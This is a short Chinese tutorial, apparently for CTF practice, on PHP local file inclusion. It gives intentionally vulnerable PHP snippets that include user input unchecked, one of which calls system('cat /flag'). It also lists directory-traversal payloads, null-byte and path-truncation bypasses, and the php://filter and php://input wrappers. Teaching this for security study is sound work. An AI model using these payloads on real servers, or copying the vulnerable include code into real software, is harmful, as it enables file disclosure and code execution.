漏洞成因;因为PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞
### 常见文件包含的函数
include() // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require() // 程序运行就包含文件,找不到文件产生错误,脚本停止
include_once()
require_once()// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含
文件包含漏洞的原理在于用文件包含函数引入的文件,不管其扩展名如何,都会被当作php代码解析,如何无法解析,就会展示其文件内容。
### 本地文件包含
<?php
$file = $_GET['file'];
include $file;
?>
url栏添加 file=../../../../../../flag 可直接将敏感文件flag读取出来
#### 基本限制
<?php
$file = $_GET['file'];
include $file.'.php';
?>
将file名会添加一个.php的使输入的flag文件变为flag.php文件,所以无法读取内容
#### 一些绕过技巧
?file=../../../../../../../../../flag%00 ;%00绕过 ----条件(magic_quotes_gpc=off,PHP小于5.3.4)
?file=../../../../../../../../../flag/././././././.[…]/./././././. ;路径长度截断 ------条件(Linux 需要文件名长于 4096,Windows 需要长于 256)
?file=../../../../../../../../../flag/………[…]………… ;点号阶段-------条件(Linux 需要文件名长于 4096,Windows 需要长于 256*)
#### php://filter
利用php流filter返回base64加密后的php源代码,我们可以利用php的filter机制来得到我们想要的php源代码。且在网站根目录下,构造payload会获取到对应代码的base64编码。得到编码在进行解码即可获得该源代码
#### php://input
<?php
$text = $_GET['text'];
if(file_get_contents($text, 'r') === "hello")
{ system("cat /flag"); }
?>
该代码会判断get请求获取的以text命名的文件内容,如果文件内容等于hello则可以查看flag